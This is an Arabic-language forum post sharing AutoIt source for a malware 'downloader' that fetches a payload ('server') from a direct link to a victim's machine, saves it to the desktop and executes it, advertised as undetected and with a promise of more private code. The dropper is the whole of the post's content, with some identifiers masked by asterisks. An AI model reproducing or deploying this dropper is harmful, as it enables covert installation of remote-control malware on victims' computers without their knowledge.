![]() |
كودAutoIt تحميل الملف وتشغيله تلقائى(دونلودر )
السلام عليكم اخواتى الاعزاء اقدم لكم كود AutoIt لتحميل السرفر من رابط مباشر الى جهاز الضحيه (كلين) كود: ; Thanks to sqebd;======================================= Global $sFinal = @DesktopDir & "\URL.exe" sDownloadFile("URL OF FILE") Sleep(999) s****************l("File Downloaded") Func sDownloadFile($sLinkToDownload) Local $ProtXML ,$sAStream $ProtXML = ObjCreate("Microsoft.XMLHTTP") $sAStream = ObjCreate("Adodb.Stream") $ProtXML.Open("GET", $sLinkToDownload, 0) $ProtXML.Send $sAStream.Type = 1 $sAStream.Open $sAStream.write($ProtXML.ResponseBody) $sAStream.SaveToFile($sFinal) $sAStream.Close EndFunc ;Alternative ****************lexecute Func s****************l($Path) Local $****************l = ObjCreate("****************l.application") $****************l.****************lExecute($Path, "") EndFunc طبعا مع مراعة تغير الون الاحمر برابط سرفرك المباشر وشكرا واستنونا فى مزيد من اكواد بريفد هتطلع للناس والسلام عليكم |
الساعة الآن 03:33 PM |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
development-point